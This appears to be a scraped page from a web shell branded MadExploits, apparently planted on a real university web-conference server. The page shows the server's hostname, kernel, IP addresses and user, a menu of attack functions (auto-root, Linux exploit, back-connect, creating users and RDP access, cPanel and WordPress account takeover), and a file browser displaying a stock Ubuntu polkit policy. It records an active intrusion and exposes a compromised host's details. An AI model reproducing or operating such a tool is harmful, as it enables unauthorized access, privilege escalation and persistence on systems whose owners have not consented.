Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.191.171.72
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
polkit-1 /
actions /
[ HOME SHELL ]
Name
Size
Permission
Action
com.ubuntu.apport.policy
1.46
KB
-rw-r--r--
com.ubuntu.languageselector.po...
790
B
-rw-r--r--
com.ubuntu.release-upgrader.po...
23.35
KB
-rw-r--r--
com.ubuntu.softwareproperties....
848
B
-rw-r--r--
com.ubuntu.update-notifier.pol...
13.85
KB
-rw-r--r--
io.snapcraft.snapd.policy
1.99
KB
-rw-r--r--
org.dpkg.pkexec.update-alterna...
2.66
KB
-rw-r--r--
org.freedesktop.ModemManager1....
41.6
KB
-rw-r--r--
org.freedesktop.UDisks2.policy
310.63
KB
-rw-r--r--
org.freedesktop.accounts.polic...
2.13
KB
-rw-r--r--
org.freedesktop.bolt.policy
1.79
KB
-rw-r--r--
org.freedesktop.fwupd.policy
95.17
KB
-rw-r--r--
org.freedesktop.hostname1.poli...
3.01
KB
-rw-r--r--
org.freedesktop.locale1.policy
1.88
KB
-rw-r--r--
org.freedesktop.login1.policy
23.75
KB
-rw-r--r--
org.freedesktop.network1.polic...
9.38
KB
-rw-r--r--
org.freedesktop.packagekit.pol...
134.27
KB
-rw-r--r--
org.freedesktop.policykit.poli...
1.49
KB
-rw-r--r--
org.freedesktop.resolve1.polic...
7.58
KB
-rw-r--r--
org.freedesktop.systemd1.polic...
3.73
KB
-rw-r--r--
org.freedesktop.timedate1.poli...
3.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : com.ubuntu.update-notifier.policy
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN" "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd"> <policyconfig> <action id="com.ubuntu.update-notifier.pkexec.cddistupgrader"> <message>Authentication is needed to upgrade</message> <message xml:lang="af">Outentisering is benodig te opgrader</message> <message xml:lang="am">ለማሻሻል ማረጋገጫ ያስፈልጋል</message> <message xml:lang="ast">Necesítase autenticación p'anovar</message> <message xml:lang="bg">Необходимо е удостоверяване за да се надгради</message> <message xml:lang="bn">আপগ্রেডের জন্য পরিচয় সানাক্তকরণ করা দরকার</message> <message xml:lang="bs">Potrebna je autentifikacija za nadogradnju</message> <message xml:lang="ca">Cal autenticació per actualitzar</message> <message xml:lang="ckb">ڕێپێدان داواکراوە بۆ بەزرکردنەوە</message> <message xml:lang="cs">Pro aktualizaci je vyžadováno ověření</message> <message xml:lang="cy">Mae ange dilysu er mwyn diweddaru</message> <message xml:lang="da">Der kræves sikkerhedsgodkendelse for at opgradere</message> <message xml:lang="de">Legitimierung wird zum Aktualisieren benötigt</message> <message xml:lang="el">Απαιτείται έλεγχος αυθεντικότητας χρήστη για να πραγματοποιηθεί η αναβάθμιση</message> <message xml:lang="en_AU">Authentication is needed to upgrade</message> <message xml:lang="en_CA">Authentication is needed to upgrade</message> <message xml:lang="en_GB">Authentication is needed to upgrade</message> <message xml:lang="es">Se necesita autenticación para actualizar</message> <message xml:lang="eu">Bertsio-berritzeko autentifikatu beharra dago</message> <message xml:lang="fa">برای ارتقا نیاز به تایید هویت است</message> <message xml:lang="fi">Päivittäminen vaatii tunnistautumisen</message> <message xml:lang="fr">Une authentification est nécessaire pour la mise à niveau</message> <message xml:lang="fr_CA">Une authentification est nécessaire pour la mise à niveau</message> <message xml:lang="gl">É preciso autenticarse para realizar unha anovación</message> <message xml:lang="he">נדרש אימות כדי לשדרג</message> <message xml:lang="hr">Potrebna je ovjera za nadogradnju</message> <message xml:lang="hu">Hitelesítés szükséges a frissítéshez</message> <message xml:lang="ia">Le authentication es necesse pro promover</message> <message xml:lang="id">Perlu otentikasi untuk meningkatkan</message> <message xml:lang="it">È necessario autenticarsi per eseguire l'avanzamento</message> <message xml:lang="ja">アップグレードには認証が必要です</message> <message xml:lang="kab">Yettwasra usesteb akken ad tleqqemeḍ</message> <message xml:lang="ko">업그레이드하려면 인증이 필요합니다.</message> <message xml:lang="ku">Ji bo bilindkirinê piştrastkirina nasnameyê pêwist e</message> <message xml:lang="lt">Norint naujinti, reikia patvirtinti tapatybę</message> <message xml:lang="lv">Jāautentificējas, lai uzlabotu</message> <message xml:lang="mn">Зэрэг дээшлүүлэхийн тулд нэвтрэх шаардлагатай</message> <message xml:lang="mnw">ဂွံသၠုၚ်ပ္တိုန်တၟိတၟိဂှ် ဒးကေတ်အခေါၚ်</message> <message xml:lang="ms">Pengesahihan diperlukan untuk penataran</message> <message xml:lang="my">အဆင့်မြှင့်တင်ရန်အတွက် စစ်မှန်ကြောင်းအထောက်အထား လိုအပ်သည်။</message> <message xml:lang="nb">Du må autentisere deg for å oppgradere</message> <message xml:lang="nl">Authenticatie is noodzakelijk voor de opwaardering</message> <message xml:lang="nn">Du må autentisera deg for å oppgradera</message> <message xml:lang="no">Du må autentisere deg for å oppgradere</message> <message xml:lang="oc">Una autentificacion es necessària per la mesa al nivèl</message> <message xml:lang="pl">Wykonanie aktualizacji wymaga uwierzytelnienia</message> <message xml:lang="pt">É necessária autenticação para atualizar</message> <message xml:lang="ru">Для обновления необходима аутентификация</message> <message xml:lang="sl">Za nadgradnjo je potrebno overjanje.</message> <message xml:lang="sq">Nevojitet identifikimi për të përditësuar</message> <message xml:lang="sr">Потребна је лозинка ради надоградње</message> <message xml:lang="sv">Autentisering krävs för att uppgradera</message> <message xml:lang="szl">Potrzebno je autoryzacyjo, żeby zaktualizować</message> <message xml:lang="th">คุณต้องยืนยันตัวบุคคลเพื่อทำการอัปเกรด</message> <message xml:lang="tr">Yükseltmek için kimlik kimlik doğrulaması gerekmektedir</message> <message xml:lang="tt">Аутентификация өчен яңарту кирәк</message> <message xml:lang="ug">يۈكسەلدۈرۈش ئۈچۈن كىملىك دەلىللەش زۆرۈر</message> <message xml:lang="uk">Для оновлення необхідне підтвердження.</message> <message xml:lang="zh_CN">需要进行身份验证才能升级</message> <message xml:lang="zh_HK">需要進行身份驗證才能升級</message> <message xml:lang="zh_TW">需先通過身份核對才能升級</message> <icon_name>update-notifier</icon_name> <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>auth_admin</allow_active> </defaults> <annotate key="org.freedesktop.policykit.exec.path">/usr/lib/update-notifier/cddistupgrader</annotate> <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate> </action> <action id="com.ubuntu.update-notifier.pkexec.package-system-locked"> <message>Authentication is needed to query package system lock status</message> <message xml:lang="af">Outentisering word vereis om die pakket stelsel sluitstatus te navraag</message> <message xml:lang="am">የ ስርአት ጥቅል ሁኔታ መክፈቻ ለ መጠየቅ ማረጋገጫ ያስፈልጋል</message> <message xml:lang="ast">Necesístase autenticación pa consultar l'estáu de torga del sistema de paquetes</message> <message xml:lang="bg">Необходимо е удостоверяване за да се провери дали уредбата за пакети е заключена</message> <message xml:lang="bn">প্যাকেজ সিস্টেমের লক অবস্থা জানার জন্য পরিচয় সানাক্তকরণ দরকার</message> <message xml:lang="bs">Potrebna je autentifikacija za provjeru stanja zaključavanja paketa sustava</message> <message xml:lang="ca">Cal autenticació per preguntar per l'estat del bloqueig del sistema de paquets</message> <message xml:lang="ckb">ڕێگەپێدان پێویستە بۆ دۆخی قفڵی سیستەمی پاکێجی دیاریکراو</message> <message xml:lang="cs">Pro dotaz na stav zámku balíčkovacího systému je vyžadováno ověření</message> <message xml:lang="cy">Mae angen dilysu er mwyn ymofyn statws clo'r system pecynnau</message> <message xml:lang="da">Sikkerhedsgodkendelse er påkrævet for at adspørge pakkesystemets låsestatus</message> <message xml:lang="de">Legitimierung zum Abrufen von Paketen benötigt</message> <message xml:lang="el">Απαιτείται έλεγχος αυθεντικότητας χρήστη για να ελεγχθεί η κατάσταση κλειδώματος του συστήματος πακέτων</message> <message xml:lang="en_AU">Authentication is needed to query package system lock status</message> <message xml:lang="en_CA">Authentication is needed to query package system lock status</message> <message xml:lang="en_GB">Authentication is needed to query package system lock status</message> <message xml:lang="es">Es necesaria auteticación para consultar el estado del bloqueo del sistema de paquetes</message> <message xml:lang="eu">Autentifikazioa beharrezkoa da pakete-sistemaren blokeo egoerari buruz galdetzeko</message> <message xml:lang="fa">برای پرسوجوی قفل سامانه نیاز به تایید هویت است</message> <message xml:lang="fi">Tunnistautuminen vaaditaan pakettijärjestelmän lukituksen tilan tarkistamiseksi</message> <message xml:lang="fr">Une authentification est nécessaire pour demander le statut de verrouillage des paquets du système</message> <message xml:lang="fr_CA">Une authentification est nécessaire pour demander le statut de verrouillage des paquets du système</message> <message xml:lang="gl">É precisa a autenticación para consultar o estado do bloqueo do sistema de paquetes</message> <message xml:lang="he">נדרש אימות כדי לתשאל את מצב נעילת מערכת תשאול החבילות</message> <message xml:lang="hr">Potrebna je ovjera za provjeru stanja zaključavanja paketa sustava</message> <message xml:lang="hu">Hitelesítés szükséges a csomagkezelő rendszer zárolási állapotának lekéréséhez</message> <message xml:lang="ia">Le authentication es necesse pro querer le stato de bloco del systema de pacchetto</message> <message xml:lang="id">Perlu otentikasi untuk mengkueri status kunci sistem paket</message> <message xml:lang="it">È necessario autenticarsi per interrogare il sistema di pacchetti sullo stato del blocco</message> <message xml:lang="ja">パッケージシステムのロック状態を問い合わせるには認証が必要です</message> <message xml:lang="kab">Asesteb yettusra i usesten n waddaden n usekkar n unagraw n yikemmusen</message> <message xml:lang="ko">패키지 시스템 잠금 상태를 쿼리하려면 인증이 필요합니다.</message> <message xml:lang="ku">Ji bo lêpirsîna rewşa kilîtbûnê ya pergala pakêtê piştrastkirina nasnameyê pêwist e</message> <message xml:lang="lt">Norint užklausti paketų sistemos užrakto būseną, reikia patvirtinti tapatybę</message> <message xml:lang="lv">Vajag autentificēties, lai vaicātu pakotņu sistēmas bloķēšanas statusu</message> <message xml:lang="mnw">ဂွံကေတ်ကဠ စက်ကၟာတ်လဝ်တံဂှ် ဒးကေတ်အခေါၚ်</message> <message xml:lang="ms">Pengesahihan diperlukan untuk menanya status kunci sistem pakej</message> <message xml:lang="my">ပက်ကေ့ဂျ်စနစ်သော့ခတ်အခြေအနေကို မေးမြန်းရန်အတွက် စစ်မှန်ကြောင်းအထောက်အထား လိုအပ်သည်။</message> <message xml:lang="nb">Du må autentisere deg for å kontrollere pakkelås-status</message> <message xml:lang="nl">Authenticatie is noodzakelijk om de vergrendelingsstatus van het pakketsysteem te onderzoeken</message> <message xml:lang="no">Du må autentisere deg for å kontrollere pakkelås-status</message> <message xml:lang="oc">Una autentificacion es necessària per demandar l'estatut de verrolhatge dels paquets del sistèma</message> <message xml:lang="pl">Aby sprawdzić stan blokady menedżera pakietów, wymagane jest uwierzytelnienie</message> <message xml:lang="pt">A autenticação é necessária para consultar o status do bloqueio do sistema do pacote</message> <message xml:lang="ru">Для запроса состояния блокировки системы пакетов требуется аутентификация</message> <message xml:lang="sl">Za preverjanje stanja zaklepanja sistema paketov je potrebno overjanje.</message> <message xml:lang="sq">Nevojitet identifikimi për të kontrolluar statusin e zhbllokimit të sistemit të paketave</message> <message xml:lang="sr">Потребна је лозинка ради упита стању системског кључа</message> <message xml:lang="sv">Autentisering krävs för att läsa paketens systemlåsningsstatus</message> <message xml:lang="szl">Potrzebno je autoryzacyjo, coby wybadać stan blokady systymu paketōw.</message> <message xml:lang="th">คุณต้องยืนยันตัวบุคคลเพื่อสอบถามสถานะการล็อกระบบแพกเกจ</message> <message xml:lang="tr">Paket sisteminin kilit durumunu sorgulamak için kimlik doğrulaması gerekmektedir</message> <message xml:lang="ug">بوغچا سىستېمىسىنىڭ قۇلۇپ ھالىتىنى تەكشۈرۈش ئۈچۈن كىملىك دەلىللەش زۆرۈر</message> <message xml:lang="uk">Для запиту статусу блокування системи пакета необхідне підтвердження</message> <message xml:lang="zh_CN">需要进行身份验证才能查询软件包系统锁定状态</message> <message xml:lang="zh_HK">需要進行身份驗證才能查詢軟件包系統鎖定狀態</message> <message xml:lang="zh_TW">需要通過身份核對才能查詢軟體包的系統鎖狀態</message> <icon_name>update-notifier</icon_name> <defaults> <allow_any>no</allow_any> <allow_inactive>yes</allow_inactive> <allow_active>yes</allow_active> </defaults> <annotate key="org.freedesktop.policykit.exec.path">/usr/lib/update-notifier/package-system-locked</annotate> </action> </policyconfig>
Close